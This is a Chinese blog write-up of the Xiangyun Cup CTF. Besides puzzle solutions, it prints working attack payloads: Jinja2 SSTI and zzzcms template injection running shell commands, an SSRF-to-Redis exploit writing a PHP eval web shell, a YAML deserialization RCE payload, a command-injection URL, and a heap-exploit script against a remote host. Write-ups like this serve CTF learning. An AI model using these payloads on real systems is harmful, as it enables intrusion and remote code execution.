首届祥云杯WriteUP

webak,杂项偷了俩二血最后一个0解题ak,不过思路有了,算出来一个块,剩下的37个算的费劲,就懒狗了,就这样吧

一个人的战斗,不 战 斗 就 无 法 生 存

老惯例纯净版无嘴臭专享pdf

MISC

Charles Sensor

这题其实基本上差不多就要出了,但是对整个区块的换算其实特别麻烦,还是稍微记录下当前的解题情况,等彻底算出来的时候单独开一篇

首先给的压缩包,获得三个文件

图片[1]-首届祥云杯WriteUP-魔法少女雪殇

第一个是算法的说明,里面记录了数据块以及波形的算法是如何与硬件设备通讯的

第二个无卵用,

第三个则是我们需要进行解密的整体

图片[2]-首届祥云杯WriteUP-魔法少女雪殇

总之根据pdf内的文章判断其波形的波长,以及数据长度

首先去下面的连接

Downloads for the USBee Mixed PC and USB Oscilloscope, Logic Analyzer, Signal Generator

去下载软件,导入sensor,可以进行波形的查看

图片[3]-首届祥云杯WriteUP-魔法少女雪殇

总共是非常多的周期,但具体有多少,我没细看,因为根据文档,貌似部分的波形是不被存储记录为数据的

将波形不断放大

图片[4]-首届祥云杯WriteUP-魔法少女雪殇

是可以看出其是由一对波形来组成一个周期

图片[5]-首届祥云杯WriteUP-魔法少女雪殇

这里根据pdf来判断,

剩下的就是对所有的波形进行曼彻斯特解码了,同时还要考虑到文档中的数据块和时序表

图片[6]-首届祥云杯WriteUP-魔法少女雪殇

最后进行解密即可,工作量超级大,但是是一道比较硬核的工控题,有时间在解,希望其他大师傅看到的话可以尝试解一下

签到

base64解密即可

flag{qq_group_826566040}

进制反转

开局一个rar,电脑无法正常解压,或者提示有密码(本质是伪加密,根据题目还是用手机解压好了)

图片[7]-首届祥云杯WriteUP-魔法少女雪殇

解压后获得一个flag.wav,无法播放,

利用audacity导入原始数据即可进行播放

图片[8]-首届祥云杯WriteUP-魔法少女雪殇

音乐可以听出是被反转和加速,所以我们进行反转加降速

听歌识曲,找到歌曲名为

图片[9]-首届祥云杯WriteUP-魔法少女雪殇

包上flag+大写就完事了

到点了

纯傻逼题,脑洞+弱智

首先解压获得三个docx,依次套娃解决1,2,3

打开1

图片[10]-首届祥云杯WriteUP-魔法少女雪殇

知道了,八位对第二个进行爆破,这就开始

获得密文20201024(程序元节,确实生而为人我很抱歉)

图片[11]-首届祥云杯WriteUP-魔法少女雪殇

打开后培根密码,解密

图片[12]-首届祥云杯WriteUP-魔法少女雪殇

打开3.docx,发现有问题

图片[13]-首届祥云杯WriteUP-魔法少女雪殇

猜测里面藏了不好的东西,将其进行rar解压后,获得4.bmp

图片[14]-首届祥云杯WriteUP-魔法少女雪殇

bmp常规解密,使用wbs43open以GOODNIGHTSWEETITE密文解密即可

图片[15]-首届祥云杯WriteUP-魔法少女雪殇

弱智题

带音乐家

拿了个二血,这波啊,这波是半夜偷家

图片[16]-首届祥云杯WriteUP-魔法少女雪殇

解压后两个文件,通过查看第一个的hex值,发现是midi文件,可以直接播放

第二个是常规rar加密

图片[17]-首届祥云杯WriteUP-魔法少女雪殇

由于前段时间我也出了个midi题,对midi文件稍微有点敏感,索性就对比了一下常规midi文件

图片[18]-首届祥云杯WriteUP-魔法少女雪殇
(这区别还挺大的)

那就疯狂百度,找到了个名为Velato的工具,挺神奇的东西,可以用midi语言进行编程,使用其进行运行

图片[19]-首届祥云杯WriteUP-魔法少女雪殇

获得输出为Hello,World!

猜测是doc压缩包的密码,进行解密

图片[20]-首届祥云杯WriteUP-魔法少女雪殇

获得一串密文,根据压缩包描述的空白字段

图片[21]-首届祥云杯WriteUP-魔法少女雪殇

发现有些端倪,通过nodepad++打开后,导入

图片[22]-首届祥云杯WriteUP-魔法少女雪殇

猜测是莫斯编码,进行编码

图片[23]-首届祥云杯WriteUP-魔法少女雪殇

分别获得两种结果

N T O R T L 4 7 6 4 7 8 7 8 7 7
​
A E S K E Y 9 2 1 9 2 3 2 3 2 2

看起来第二种的AESKEY更加靠谱

进行aes解密,最后获得flag

图片[24]-首届祥云杯WriteUP-魔法少女雪殇

xixixi

开局一个VHD,利用DG可以直接读取里面内容

图片[25]-首届祥云杯WriteUP-魔法少女雪殇

总共提取出一个png,四个py文件,其中两个为另外两个py文件的文件名,意义不大

提取出后,对其分析

图片[26]-首届祥云杯WriteUP-魔法少女雪殇

png无法正常打开,两个python脚本内容分别为

import struct

class FAT32Parser(object):
	def __init__(self, vhdFileName):
		with open(vhdFileName, 'rb') as f:			
			self.diskData = f.read()
		self.DBR_off = self.GetDBRoff()
		self.newData = ''.join(self.diskData)

	def GetDBRoff(self):						#
		DPT_off = 0x1BE
		target = self.diskData[DPT_off+8:DPT_off+12]	#1C6-1CA
		DBR_sector_off, = struct.unpack("<I", target)	#小端对齐四位整形
		return DBR_sector_off * 512						#数据块*512

	def GetFAT1off(self):
		target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10] #1CCH-1CEH
	 	FAT1_sector_off, = struct.unpack("<H", target)			   #小端对其无符号整数
		return self.DBR_off + FAT1_sector_off * 512				   #0x1B+数据*512

	def GetFATlength(self):
		target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28] #第三块进行乘 同上
		FAT_sectors, = struct.unpack("<I", target)
		return FAT_sectors * 512

	def GetRootoff(self):											
		FAT_length = self.GetFATlength()							#调用第三块,调用第二块后加上第三块数据
		FAT2_off = self.GetFAT1off() + FAT_length					#2+3 +3
		return FAT2_off + FAT_length								#调用2块加3块+3块

	def Cluster2FAToff(self, cluster):								#二块,+数据群*4
		FAT1_off = self.GetFAT1off()
		return FAT1_off + cluster * 4

	def Cluster2DataOff(self, cluster):								#GetRootoff + (数据群-2)*512
		rootDir_off = self.GetRootoff()
		return rootDir_off + (cluster - 2) * 512
import struct
from xixi import FAT32Parser
from xixixi import Padding, picDepartList

def EncodePieces():
	global clusterList
	res = []
	Range = len(picDepartList)    # 58   #猜测是图片本身
	# GetRandomClusterList(n) - Generate a random cluster list with length n
	clusterList = GetRandomClusterList(Range)	#生成长度为58得随机簇

	for i in range(Range):						#从0开始循环至57
		if i != Range - 1:						#i如果不等于58-1 进行随机簇打包
			newCRC = struct.pack("<I", clusterList[i+1])
			plainData = picDepartList[i][:-4] + newCRC #将打包后数值取第i列,取消后四位与打包后随机簇相加
		else:
			plainData = picDepartList[i]		#如果相等,则直接对第i列赋值给plainDATA

		# Show the first piece to him, hhh
		if i == 0:
			newPiece = plainData				#如果i为0,则将初值给予
		else:
			newPiece = ''						#后续操作 newpiece为空
			key = clusterList[i] & 0xFE			#key等于每个随机列与0xFE进行与运算(结果必为二进制)
			for j in plainData:					
				newPiece += chr(ord(j) ^ key)	#令j得ascii与key进行异或,结果转换为字符,并存入
		# Padding() -- Fill to an integral multiple of 512 with \xFF
		res.append(Padding(newPiece))			#用\\xFF填充到512的整数倍 返回res
	return res

前者在运算时并未起到任何作用(注释已给出本人分析过程)

后者将整个图片存放成为随机的数据簇,需要用户进行手动推演,最后脚本还将数据簇进行了异或运算,同时还给了第一簇的内容,只要是先运算出数据簇的数量以及第二簇的内容,接下来以此类推再次进行异或即可

根据上述注释的分析流程,进行撰写解题脚本(脚本问题很大,后续看看别的师傅的脚本

import struct
import time
def DecodePieces():
    nextKey = 0x3A1E1715
    key = 0xFE
    file = open('kejin.png','rb')
    pics = file.read()
    picsList = []
    step = 512
    for i in range(0,9728,step):
        picsList.append(pics[i:i+step])
    keyList = [hex(0x3A1E1715)]
    for i in picsList[1:]:
        key2 = nextKey & key
        newPiece = []
        for j in i[-4:]:
            newPiece.append(j ^ key2)
        unpack = struct.unpack('<I',bytes(newPiece))
        nextKey = unpack[0]
        keyList.append(hex(nextKey))
    keyList = keyList[:-1]
    picsList2 = [picsList[0]]
    for i in range(len(picsList[1::])):
        stream = []
        key2 = int(keyList[i],16) & key
        for o in picsList[1::][i]:
            stream.append(o ^ key2)
        picsList2.append(bytes(stream))
    picBytes = b''.join(picsList2)
    file2 = open('kejin2.png','wb')
    file2.write(picBytes)
    file2.close

DecodePieces()
图片[27]-首届祥云杯WriteUP-魔法少女雪殇

有一说一皇女真的涩

CRYPTO

simpleRSA

一道上古原题直接套脚本

链接:https://masterpessimistaa.wordpress.com/2017/11/24/asis-finals-ctf-2017-gracias-writeup/

from sage.all import continued_fraction, Integer
from Crypto.Util.number import *
 
e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679 
n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173

def wiener(e, n):
    m = 12345
    c = pow(m, e, n)
    q0 = 1
 
    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()
 
        for r in range(20):
            for s in range(20):
                d = r*q1 + s*q0
                m1 = pow(c, d, n)
                if m1 == m:
                    return d
        q0 = q1
 

d = wiener(e, n)
 
print "d: ", d
 
k = pow(c1, d, n)
K = pow(g, k, a)
m = long_to_bytes(c2 * inverse(K, a) % a)
print m

WEB

一半原题,所以就ak了

Command

?url=127.0.0.1%0Acd%09/etc%0aca\t%09.findfl??/fl??.txt

flaskbot

输入非法数字后会进行报错

图片[28]-首届祥云杯WriteUP-魔法少女雪殇

会进行部分源码暴露,当我输入nan时,会自动判断永远是我赢

图片[29]-首届祥云杯WriteUP-魔法少女雪殇

这个时候我所输入的用户名则回显在了输出页面,猜测用户位置存在ssti注入

当我输入{{1+1}}的base64时,回显是2,证明存在cookie注入

图片[30]-首届祥云杯WriteUP-魔法少女雪殇

命令执行payload即可(过滤了一些字符,进行手动拼接绕过(进行base64加密))

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['o'+'s']['po'+'pen']('ls /').read()}}
图片[31]-首届祥云杯WriteUP-魔法少女雪殇

flag存在位置于txt内,拼接后即可(同理,base64加密)

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['o'+'s']['po'+'pen']('a=cat;b=/super_secret_fl;c=ag.txt;$a $b$c').read()}}

over

图片[32]-首届祥云杯WriteUP-魔法少女雪殇

easygogogo

其实我是很想知道,安恒的律师函哪去了,虽然改了一点,这核心还没变,跟这BJD3RD的gob一个玩意

反正sb环境我弹上shell就掉,后来打个非预期就出来了,气死我了

随便登录,与结果无关

图片[33]-首届祥云杯WriteUP-魔法少女雪殇

存在上传页面,同时存在目录穿越

图片[34]-首届祥云杯WriteUP-魔法少女雪殇

同时已上传内容会被show显示出来

图片[35]-首届祥云杯WriteUP-魔法少女雪殇

此处直接目录穿越发包

图片[36]-首届祥云杯WriteUP-魔法少女雪殇

但是会提示图片不存在

图片[37]-首届祥云杯WriteUP-魔法少女雪殇

拆解一下发包后的cookie

图片[38]-首届祥云杯WriteUP-魔法少女雪殇

可发现,是通过cookie来控制图片显示与否,那么推测,如果在新的靶场下,上传一个新文件,进行cookie替换,即可直接读取flag的内容。

首先在新容器下,任意上传一个文件

图片[39]-首届祥云杯WriteUP-魔法少女雪殇

将此处的cookie替换为上次flag路径的cookie

访问show页面,即可获得flag的base64,解密即可

图片[40]-首届祥云杯WriteUP-魔法少女雪殇

easyzzz

进去是一个zzzcms的系统,此题目与之前CBCTF的dangerous-function属于一道题,仅仅加了一个过滤(感谢鹣鹣的提示)

链接:第三届CBCTF官方WP – 安全客,安全资讯平台 (anquanke.com)

利用文章中的paylaod在搜索框进行攻击

图片[41]-首届祥云杯WriteUP-魔法少女雪殇

会被ban掉,推测过滤了可疑字符if

再次进行构筑

{{leftstr:isf,1}{leftstr:fs,1}:var_dump(((strrev(stnetnoc_teg_el{leftstr:isf,1}{leftstr:fs,1})))((strrev(edoced_46esab))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
图片[42]-首届祥云杯WriteUP-魔法少女雪殇

doyouknowssrf

好家伙,GACTF2020的原题搬过来,属实嗯,不写了,之前写过了,就放个exp得了

import urllib.parse
import requests

target= "http://eci-2ze4i20uld1wzkdg9emq.cloudeci1.ichunqiu.com/"

payload = ''' HTTP/1.1
config set dir /var/www/html/
config set dbfilename c.php
set x '<?php eval($_POST['cmd']);?>'
save
foo: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)
payload = "?url=http://abc@127.0.0.1:5000%20@abc" + payload
print(payload)

profile system

开局一个上传

图片[43]-首届祥云杯WriteUP-魔法少女雪殇

猜测考点是yaml反序列化之类的玩意,随便传了一个,发现下载存在目录穿越,可以把源码下载下来

from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml


app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower()

@app.route("/")
def index():
    session['priviledge'] = 'guest'
    return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
        flash('Please upload yaml/yml only.')
        return redirect("/")
    else:
        dirname = md5(request.remote_addr.encode()).hexdigest()
        filename = file.filename
        session['filename'] = filename 
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html",path = os.path.join(dirname, filename))


@app.route("/uploads/<path:path>")
def uploads(path):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))


@app.route("/view")
def view():
    dirname = md5(request.remote_addr.encode()).hexdigest()
    realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
    if session['priviledge'] =='elite' and os.path.isfile(realpath):
        try:
            with open(realpath,'rb') as f:
                data = f.read()
                if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
                    info = {'user': 'elite-user'}
                    flash('Sth weird...')
                else:
                    info = yaml.load(data)
                if info['user'] == 'Administrator':
                    flash('Welcome admin!')
                else:
                    raise ()
        except:
            info = {'user': 'elite-user'}
    else:
        info = {'user': 'guest'}
    return render_template("view.html",user = info['user'])



if __name__ == "__main__":
    app.run('0.0.0.0',port=8888,threaded=True)

对源码进行审计

需要进行一个cookie伪造,将priviledge伪造为elite

以及此处存在的正则,需要绕过一下才可以进行命令执行

图片[44]-首届祥云杯WriteUP-魔法少女雪殇

那么思路就很清晰了,上传一个yml进行执行,将flag内容读回到一个任意的上传位置,经过测试,发现上传目录固定为

/uploads/4e5b09b2149f7619cca155c8bd6d8ee5/

通过命令执行,发现flag存储在/readflag处,但是为了读出来,直接利用

__import__('os').system('/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/2')

此处为了绕过正则,将其全部转换为16进制即可

最终yml文件内容

user: Administrator
A: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x31\x27\x29"

上传后抓包,将cookie进行伪造,源代码给出密钥,直接伪造即可

图片[45]-首届祥云杯WriteUP-魔法少女雪殇

最后访问对应目录后,放包,获得flag

图片[46]-首届祥云杯WriteUP-魔法少女雪殇

REVERSE

帅宝,依旧是我的超人

apk1

  1. JNI_ONLoad中注册了一个native函数,也就是check函数不是之前那个
  2. 下面首先检测长度为22,然后第5个字符为{,结尾处有最后一个字符为}
  3. 然后是中间一系列变换
  4. 关键函数
    1. JNIOnLoad
__int64 __fastcall JNI_OnLoad(JavaVM *a1)
{
unsigned __int64 v1; // x20
JNIEnv *result; // x0
__int64 v3; // x19
__int64 v4; // x0
JNIEnv *v5; // [xsp+0h] [xbp-40h]
char v6; // [xsp+8h] [xbp-38h]
__int64 v7; // [xsp+28h] [xbp-18h]

v1 = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
v7 = *(_QWORD *)(v1 + 40);
result = (JNIEnv *)((__int64 (*)(void))(*a1)->GetEnv)();
if ( !(_DWORD)result )
{
    v3 = (__int64)v5;
    sub_D5F0("Y29tL3Rlc3QvdGhpcmQvTWFpbkFjdGl2aXR5", &v6);
    v4 = (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)v3 + 48LL))(v3, &v6);
    result = (JNIEnv *)((__int64 (__fastcall *)(JNIEnv *, __int64, char **, signed __int64))(*v5)->RegisterNatives)(
                        v5,
                        v4,
                        off_30018,
                        1LL);
}
if ( *(_QWORD *)(v1 + 40) == v7 )
    result = (JNIEnv *)(&loc_10004 + 2);
return (__int64)result;
}
  1. sub_D808 将输入的hex转化为数字形式,注意输入必须是大写
  2. sub_DB0C 输入前4个字节作为密钥加密5-21个字节,根据flag形式,前4个字节为flag
  3. sub_D8B0 将字节转化为hex形式,大写
  4. sub_E5D0 des密钥初始化 sub_E748 DES加密函数

re1

  1. IDA打开,验证falg以及{},然后是一个超大的检测函数
  2. 这里本来可以angr一把梭,可是自己太菜有的东西搞不定
  3. 但是发现检测函数都是按字节处理的,最后是按字节验证。所以如果没有其它因素影响,当前字节正确时要比不正确时多执行两条指令,尝试采用插桩方式按字节爆破flag

插桩函数(只需要打印基本块数和指令数即可)

/*! @file
 *  This is an example of the PIN tool that demonstrates some basic PIN APIs 
 *  and could serve as the starting point for developing your first PIN tool
 */

#include "pin.H"
#include <iostream>
#include <fstream>
using std::cerr;
using std::string;
using std::endl;

/* ================================================================== */
// Global variables 
/* ================================================================== */

UINT64 insCount = 0;        //number of dynamically executed instructions
UINT64 bblCount = 0;        //number of dynamically executed basic blocks
UINT64 threadCount = 0;     //total number of threads, including main thread

std::ostream * out = &cerr;

/* ===================================================================== */
// Command line switches
/* ===================================================================== */
KNOB<string> KnobOutputFile(KNOB_MODE_WRITEONCE,  "pintool",
    "o", "", "specify file name for MyPinTool output");

KNOB<BOOL>   KnobCount(KNOB_MODE_WRITEONCE,  "pintool",
    "count", "1", "count instructions, basic blocks and threads in the application");

INT32 Usage()
{
    cerr << "This tool prints out the number of dynamically executed " << endl <<
            "instructions, basic blocks and threads in the application." << endl << endl;

    cerr << KNOB_BASE::StringKnobSummary() << endl;

    return -1;
}

VOID CountBbl(UINT32 numInstInBbl)
{
    bblCount++;
    insCount += numInstInBbl;
}

VOID Trace(TRACE trace, VOID *v)
{
    // Visit every basic block in the trace
    for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
    {
        // Insert a call to CountBbl() before every basic bloc, passing the number of instructions
        BBL_InsertCall(bbl, IPOINT_BEFORE, (AFUNPTR)CountBbl, IARG_UINT32, BBL_NumIns(bbl), IARG_END);
    }
}


VOID ThreadStart(THREADID threadIndex, CONTEXT *ctxt, INT32 flags, VOID *v)
{
    threadCount++;
}

VOID Fini(INT32 code, VOID *v)
{
    // 打印基本块和指令数
    std::cout<<"bblCount"<<bblCount<<std::endl;
    std::cout<<"insCount"<<insCount<<std::endl;
}
int main(int argc, char *argv[])
{ 
    if( PIN_Init(argc,argv) )
    {
        return Usage();
    }
    
    string fileName = KnobOutputFile.Value();

    if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());}

    if (KnobCount)
    {
        // Register function to be called to instrument traces
        TRACE_AddInstrumentFunction(Trace, 0);

        PIN_AddThreadStartFunction(ThreadStart, 0);

        // Register function to be called when the application exits
        PIN_AddFiniFunction(Fini, 0);
    }
    
    cerr <<  "===============================================" << endl;
    cerr <<  "This application is instrumented by MyPinTool" << endl;
    if (!KnobOutputFile.Value().empty()) 
    {
        cerr << "See file " << KnobOutputFile.Value() << " for analysis results" << endl;
    }
    cerr <<  "===============================================" << endl;

    PIN_StartProgram();
    
    return 0;
}

爆破程序

#include <stdio.h>
#include <stdlib.h>
#include <gmp.h>
#include <sys/mman.h>
#include <memory.h>
#include <inttypes.h>
#include <string.h>

char flag[] = "flag{39a0ff847f1f4404aa6c7742d20363e9}";
uint64_t getBblCount(char *input){
    uint64_t res=0;
    size_t i=0;
    while(input[i]<48||input[i]>58)i++;
    while(input[i]){
        res=res*10+input[i]-48;
        i++;
    }
    return res;
}
void check(){
    FILE *f;
    char set[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz+/";
    size_t scope = strlen(set);
    size_t len = strlen(flag);
    char cmd[1024] = "./pin -t MyPinTool.so -- ./main";
    sprintf(cmd,"echo -n %s | ./pin -t MyPinTool.so -- ./main",flag);
    char buf1[256];
    char buf2[256];
    uint64_t bblCount,lastBbl,insCount,lastIns;
    for(size_t i=5;i<len-1;i++){
        flag[i] = ' ';// 我赌flag里面没有空格,所以当前字节为空格时一定是错误的,基本块数和指令数是少的
        sprintf(cmd,"echo -n %s | ./pin -t MyPinTool.so -- ./main",flag);
        f = popen(cmd,"r");
        fscanf(f,"%s",buf1);
        fscanf(f,"%s",buf2);
        lastBbl = getBblCount(buf1);
        lastIns = getBblCount(buf2);
        pclose(f);
        for(uint8_t j=0;j<scope;j++){
            flag[i]=set[j];
            sprintf(cmd,"echo -n \'%s\' | ./pin -t MyPinTool.so -- ./main",flag);
            f = popen(cmd,"r");
            fscanf(f,"%s",buf1);
            fscanf(f,"%s",buf2);
            printf("%s %s\n",buf1,buf2);
            bblCount = getBblCount(buf1);
            insCount = getBblCount(buf2);
            printf("%lld %lld %lld %lld\n",bblCount,lastBbl,insCount,lastIns);
            // 观察程序就可以看到每验证正确一字节增加一个基本块和两条指令
            if(bblCount>lastBbl&&insCount>lastIns+1)break;
            pclose(f);
        }
        printf("%s\n",flag);
    }
    printf("%s\n",flag);
}
int main(){
    check();
    return 0;
}

PWN

Beauty_Of_ChangChun

开局mmap了一块内存

泄漏地址

然后new中使用的是calloc

5还有一个malloc

通过malloc和calloc可以调整tcache

在unsorted bin中使用循环补上\x00后泄漏出libc地址

同时可以leak出堆地址

然后打mallochook即可

exp:

from pwn import*

context.log_level = 'debug'

local = False
def menu(ch):
    p.sendlineafter('Enjoy scenery',str(ch))
def new(size):
    menu(1)
    p.sendlineafter('size:',str(size))
def free(index):
    menu(2)
    p.sendlineafter('idx:',str(index))
def edit(index,content):
    menu(3)
    p.sendlineafter('idx:',str(index))
    p.sendafter('chat:',content)
def show(index):
    menu(4)
    p.sendlineafter('idx:',str(index))

if local:
    p = process('./pwn')
else:
    p = remote("112.126.71.170",43652)
libc= ELF('./libc-2.27.so')
p.recvuntil('A gift from ChangChun People\n')
target = int(p.recv(12),16)
new(0x100)
new(0x90)
free(1)
new(0x100)
new(0x90)
for i in range(8):
    edit(0,'\x00'*0x10)
    free(0)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x70 - libc.sym['__malloc_hook']
log.info('LIBC:\t' + hex(libc_base))
free(1)
show(1)
p.recvuntil('see\n')
heap = u64(p.recv(6).ljust(8,'\x00'))
menu(666)
edit(1,p64(heap) + p64(target - 0x10))
menu(5)
p.sendline(p64(libc_base + libc.sym['__malloc_hook'] + 0x10 + 352) + p64(heap- 0x250+0x400))
free(2)
new(0xFF)
menu(5)
p.sendline('1')
p.interactive()
图片[47]-首届祥云杯WriteUP-魔法少女雪殇

最后包上flag即可

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情

    没有评论内容